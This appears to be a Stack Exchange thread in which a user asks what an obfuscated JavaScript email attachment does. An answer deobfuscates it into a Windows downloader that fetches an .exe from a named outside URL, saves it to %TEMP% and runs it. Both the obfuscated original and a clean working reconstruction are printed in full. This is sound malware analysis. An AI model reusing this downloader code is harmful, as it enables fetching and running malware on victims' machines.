7

There is a closed question on StackOverflow with a similar code excerpt but it is closed due to not being a programming related question so I thought I would ask here instead.

It was emailed in a Zip file but opening in Notepad++ the JS file can be read and (presumably?) not executed. There are also plenty of results on Google when searching for a subset of the code which link to https://www.hybrid-analysis.com stating that it is RansomWare, but is it possible to explain what this code actually does?

The sequences of seemingly random words seem to be there in an effort to avoid the code being detected as similar to known signatures of malware, and the strings are then manipulated to form code which is then executed?

iAIzcLGbNj = " while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; };";
fergusI = 0;
String.prototype.contradistinction = function () { return this.substr(0, 1); };
var uUXTro = [("dingle","adornment","n")+"hh"+("precipitous","astounding","peruse","devon","lH")+"CNAl", "A"+"iR"+"Nh"+("dover","ambiguous","diocese","cD")+"nBHy", "E"+"xpan"+("disable","foamy","titled","mandate","dEnviron")+"me"+"nt"+"Stri"+("river","polyphonic","ngs"), ("flower","centered","gently","petiole","")+"%"+("spirituality","unabashed","TE")+"MP%", ""+("interaction","career","perception",".")+"exe", ("wives","electrical","R")+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+("regarded","crossroads","vi")+("botanist","expense","explains","manatarms","nc")+"enti"+"ve"+"eXincentiv"+("excruciating","futures","concepts","eObinc")+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", ("vaccination","metres","twill","W")+"Sc"+"ince"+"ntiver"+"ip"+"tinc"+"entive." + ("writing","tiffany","S"), "AmvHaUzPHrP", ("humdrum","cavernous","suave","beryl","h")+"in"+"ce"+("vespers","bountiful","gripe","nt")+"iv"+"ee"+("terrier","echoing","education","li")+"nc"+("tranny","basilica","en")+"ti"+("cooperate","festive","modem","gains","vel"), "UJcMlBfkOA", "G"+("centers","aqueduct","plugins","rRAF")+"Ka"+("creased","storing","twine","je")+"To", "Min"+"ce"+"ntiv"+"eS"+("enthusiast","pounce","iniquitous","Xi")+"nc"+"en"+("optical","migration","disks","marche","ti")+"ve"+("describe","impaired","israeli","ML")+"in"+"ce"+("sorts","fabled","nt")+("usurped","federal","iv")+"e2" + "."+"in"+"ce"+("decoy","lobby","brazilian","supervisors","nt")+("rancorous","pierce","terror","iv")+"eXMi"+"ncenti"+("stretcher","depict","sheer","ve")+"LH"+"in"+"ce"+"nt"+"iveT"+"TP"];
rQSHDCBXb = " var rneedsContext = jQuery.expr.match.needsContext;";
uUXTro.splice(7, fergusI + 2);
chubby = uUXTro[1+4+1].split("incentive").join("");
var lrAXrUK = this[chubby];
AapDxox = "IdauNqhuT";
societies = (("notoriety", "linguist", "HiLPFi", "ventures", "pVrSBHnCPxP") + "kbmKKwklAVc").contradistinction();
theoriess = (("inalienable", "cognizance", "ziHwqRxJu", "dozen", "sSBVEfa") + "xEqzqkRRVx").contradistinction();

fergusI = 6;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3];
uUXTro[fergusI + 2] = "EuHNTOs";
fergusI++;
uUXTro.splice(fergusI + 1, fergusI - 4);
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join("");
var OoKse = new lrAXrUK("" + uUXTro[fergusI] + "");
YPlWYgwd = " for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } ";
fergusI++;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join("");
var zBqJutIT = new lrAXrUK(uUXTro[1 + fergusI]);
KNgrjvc = " var siblings = function( n, elem ) { var matched = [];";
fergusI /= 2;
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]);
KcjXPEtu = "} return matched; };";
revealede = (("underlying", "scrip", "eYyeHhl", "angular", "EbYlGrsShJg") + "qWuYEw").contradistinction();

function undeveloped(poseidon, economic) {
    try {
    var jersey = BPmnOej + "/" + economic + uUXTro[fergusI];
    LjujlQ = "} return jQuery.grep( elements, function( elem ) { return ( jQuery.inArray( elem, qualifier ) > -1 ) !== not; } ); ";
zBqJutIT["o" + societies + revealede + "n"](("aviation","unreliable","nutrition","published","G") + revealede + ("mouth","consensus","agents","pricing","T"), poseidon, false);

QcwDedGUE = "}jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ];";
zBqJutIT[theoriess + ("republicans","aggrandizement","e") + (("educated", "hybrid", "vQJtIpP", "enact", "torpor", "nxldkIa") + "GyucrQNudzq").contradistinction() + (("lingo", "caitiff", "CEdBvsmD", "dealtime", "vbulletin", "dMNcSDdMEzF") + "wKxDlSnr").contradistinction()]();
wGSsSnAuJ = " if ( not ) { expr = \":not(\" + expr + \")\"; ";
if (zBqJutIT.status == 200) {
    var PbOLTH = new lrAXrUK((""+("slang","biology","A")+"pO"+("intimate","dramatist","easterly","encouraging","DB.") + ""+"S"+("sheila","premises","fatherless","tr")+"eam").replace("p", "D"));
    PbOLTH.open();
    RvweTKriM = "var rsingleTag = ( /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/ );";
    PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8 / 2 + 1);
    aODTVaRhyp = "var risSimple = /^.[^:#\[\.,]*$/;";
    PbOLTH[("sonnet","heath","dried","mains","w")+"ri"+"te"](zBqJutIT[""+"R"+"es"+("capsule","begin","enlargement","heracles","pon") + theoriess + "e"+"Bo"+("laconically","discovery","dy")]);
    eUVrfTIaq = " Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; } );";
    PbOLTH[(societies + "o"+"Di"+("unpopular","anarchist","remix","tying","ti")+"on").replace("D", theoriess)] = 0;
    rURMWYFCS = "} if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } );";
    PbOLTH["sav"+"eT"+"oF"+("silhouette","participate","eligible","employed","ile")](jersey, 2);
    JzDFHcYwRvt = "} if ( typeof qualifier === \"string\" ) { if ( risSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); ";
    PbOLTH.close();
    ueMAAMNPHiw = "} qualifier = jQuery.filter( qualifier, elements ); ";
    OoKse[uUXTro[fergusI + 1]](jersey, 1, "ISKhYal" === "EwSDqpJcU"); wQXGGA = " if ( typeof selector !== \"string\" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); ";
}

} catch (HiQurqnDJ) { };

hUivzNY = "jQuery.fn.extend( { find: function( selector ) { var i, ret = [], self = this, len = self.length;";
}
undeveloped(("craven","surgical","motels","h")+"tt"+"p://"+"soft"+"le"+"ns"+"ja"+("grandchildren","probabilities","nudity","normal","ka")+"rta.co"+"m/"+"sy"+"stem"+("dorset","portal","advertise","substantial","/l")+("mango","thrush","productive","ogs/98")+("flush","cyclone","h7")+("johnson","studying","b66gb.")+"exe","yROdkAds");
NrQwRjPqXlj = "} return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); };";
14

There's a lot of unused strings, some on the left side of the comma operator and some which are assigned to variables that are never used (they look like jquery code fragments; jquery isn't actually used here).

Remove those and you're left with

fergusI = 0;
String.prototype.contradistinction = function () { return this.substr(0, 1); };
var uUXTro = ["n"+"hh"+"lH"+"CNAl", "A"+"iR"+"Nh"+"cD"+"nBHy", "E"+"xpan"+"dEnviron"+"me"+"nt"+"Stri"+"ngs", ""+"%"+"TE"+"MP%", ""+"."+"exe", "R"+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+"vi"+"nc"+"enti"+"ve"+"eXincentiv"+"eObinc"+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", "W"+"Sc"+"ince"+"ntiver"+"ip"+"tinc"+"entive." + "S", "AmvHaUzPHrP", "h"+"in"+"ce"+"nt"+"iv"+"ee"+"li"+"nc"+"en"+"ti"+"vel", "UJcMlBfkOA", "G"+"rRAF"+"Ka"+"je"+"To", "Min"+"ce"+"ntiv"+"eS"+"Xi"+"nc"+"en"+"ti"+"ve"+"ML"+"in"+"ce"+"nt"+"iv"+"e2" + "."+"in"+"ce"+"nt"+"iv"+"eXMi"+"ncenti"+"ve"+"LH"+"in"+"ce"+"nt"+"iveT"+"TP"];
uUXTro.splice(7, fergusI + 2);
chubby = uUXTro[1+4+1].split("incentive").join("");
var lrAXrUK = this[chubby];
societies = ("pVrSBHnCPxP" + "kbmKKwklAVc").contradistinction();
theoriess = ("sSBVEfa" + "xEqzqkRRVx").contradistinction();

fergusI = 6;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3];
uUXTro[fergusI + 2] = "EuHNTOs";
fergusI++;
uUXTro.splice(fergusI + 1, fergusI - 4);
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join("");
var OoKse = new lrAXrUK("" + uUXTro[fergusI] + "");
fergusI++;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join("");
var zBqJutIT = new lrAXrUK(uUXTro[1 + fergusI]);
fergusI /= 2;
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]);
revealede = ("EbYlGrsShJg" + "qWuYEw").contradistinction();

function undeveloped(poseidon, economic) {
    try {
    var jersey = BPmnOej + "/" + economic + uUXTro[fergusI];
zBqJutIT["o" + societies + revealede + "n"]("G" + revealede + "T", poseidon, false);

zBqJutIT[theoriess + "e" + ("nxldkIa" + "GyucrQNudzq").contradistinction() + ("dMNcSDdMEzF" + "wKxDlSnr").contradistinction()]();
if (zBqJutIT.status == 200) {
    var PbOLTH = new lrAXrUK((""+"A"+"pO"+"DB." + ""+"S"+"tr"+"eam").replace("p", "D"));
    PbOLTH.open();
    PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8 / 2 + 1);
    PbOLTH["w"+"ri"+"te"](zBqJutIT[""+"R"+"es"+"pon" + theoriess + "e"+"Bo"+"dy"]);
    PbOLTH[(societies + "o"+"Di"+"ti"+"on").replace("D", theoriess)] = 0;
    PbOLTH["sav"+"eT"+"oF"+"ile"](jersey, 2);
    PbOLTH.close();
    OoKse[uUXTro[fergusI + 1]](jersey, 1, "ISKhYal" === "EwSDqpJcU");
}

} catch (HiQurqnDJ) { };

}
undeveloped("h"+"tt"+"p://"+"soft"+"le"+"ns"+"ja"+"ka"+"rta.co"+"m/"+"sy"+"stem"+"/l"+"ogs/98"+"h7"+"b66gb."+"exe","yROdkAds");

Now you have a lot of really simple string concatenation to clean up. Also, the contradistinction method which it defines for String objects just returns the first character of the string. So for example ("pVrSBHnCPxP" + "kbmKKwklAVc").contradistinction() just means "p". Resolve those, and you get:

fergusI = 0;
var uUXTro = ["nhhlHCNAl", "AiRNhcDnBHy", "ExpandEnvironmentStrings", "%TEMP%", ".exe", "Run", "ActincentiveivincentiveeXincentiveObincentivejeincentivect", "sFtalU", "FlAYMT", "WScincentiveriptincentive.S", "AmvHaUzPHrP", "hincentiveelincentivel", "UJcMlBfkOA", "GrRAFKajeTo", "MincentiveSXincentiveMLincentive2.incentiveXMincentiveLHincentiveTTP"];
uUXTro.splice(7, fergusI + 2);
chubby = uUXTro[1+4+1].split("incentive").join("");
var lrAXrUK = this[chubby];
societies = "p";
theoriess = "s";

fergusI = 6;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3];
uUXTro[fergusI + 2] = "EuHNTOs";
fergusI++;
uUXTro.splice(fergusI + 1, fergusI - 4);
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join("");
var OoKse = new lrAXrUK("" + uUXTro[fergusI] + "");
fergusI++;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join("");
var zBqJutIT = new lrAXrUK(uUXTro[1 + fergusI]);
fergusI /= 2;
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]);
revealede = "E";

function undeveloped(poseidon, economic) {
    try {
    var jersey = BPmnOej + "/" + economic + uUXTro[fergusI];
zBqJutIT["o" + societies + revealede + "n"]("G" + revealede + "T", poseidon, false);

zBqJutIT[theoriess + "end"]();
if (zBqJutIT.status == 200) {
    var PbOLTH = new lrAXrUK(("ApODB.Stream").replace("p", "D"));
    PbOLTH.open();
    PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8 / 2 + 1);
    PbOLTH["write"](zBqJutIT["Respon" + theoriess + "eBody"]);
    PbOLTH[(societies + "oDition").replace("D", theoriess)] = 0;
    PbOLTH["saveToFile"](jersey, 2);
    PbOLTH.close();
    OoKse[uUXTro[fergusI + 1]](jersey, 1, "ISKhYal" === "EwSDqpJcU");
}

} catch (HiQurqnDJ) { };

}
undeveloped("http://softlensjakarta.com/system/logs/98h7b66gb.exe","yROdkAds");

The URL that's now plainly visible in the last line is the main point.

With all the .split("incentive").join() calls, the string incentive is a decoy that will be removed from all the longer strings before they are used. Do that to the initial value of uUXTro and some of the strings become recognizable:

var uUXTro = ["nhhlHCNAl", "AiRNhcDnBHy", "ExpandEnvironmentStrings", "%TEMP%", ".exe", "Run", "ActiveXObject", "sFtalU", "FlAYMT", "WScript.S", "AmvHaUzPHrP", "hell", "UJcMlBfkOA", "GrRAFKajeTo", "MSXML2.XMLHTTP"];

I won't go through the rest of the steps, but it's pretty simple to follow what happens. fergusI takes on various integer values, indexes the uUXTro array, a few more string concatenations happen, a few decoy strings are spliced out of uUXTro (but some are left in), and the final result is basically this:

var shell = new ActiveXObject("WScript.Shell");
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
var exe = shell.ExpandEnvironmentStrings("%TEMP%") + "/yROdkAds.exe";
xhr.open("GET", "http://softlensjakarta.com/system/logs/98h7b66gb.exe", false);
xhr.send();
if(xhr.status == 200) {
  var stream = new ActiveXObject("ADODB.Stream");
  stream.open();
  stream.type=1;
  stream.write(xhr.ResponseBody);
  stream.position = 0;
  stream.saveToFile(exe, 2);
  stream.close();
  shell.Run(exe, 1, false);
}

where I've taken the 4 most important variables and given them deobfuscated names:

shell was OoKse
xhr was zBqJutIT
exe was jersey
stream was PbOLTH

In summary, this script is a downloader; it wants to retrieve and execute a program from a server controlled by the attacker. If I try to access the softlensjakarta URL directly, I get a 12-byte file with the characters STUPID LOCKY. That might mean it was a compromised server which is now fixed (and "STUPID LOCKY" is someone's idea of a permission denied message), or it might be a very clever malicious server that's checking for a vulnerable User-Agent before it sends the real malware.

With malicious downloaders, you can never really know what the payload is going to be just by looking at the downloader code. There can be many different malicious programs being served from the same URL, in a rotation determined by how much the other malware authors are paying the person who tricks you into running the downloader. (Pay-per-install malware)

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.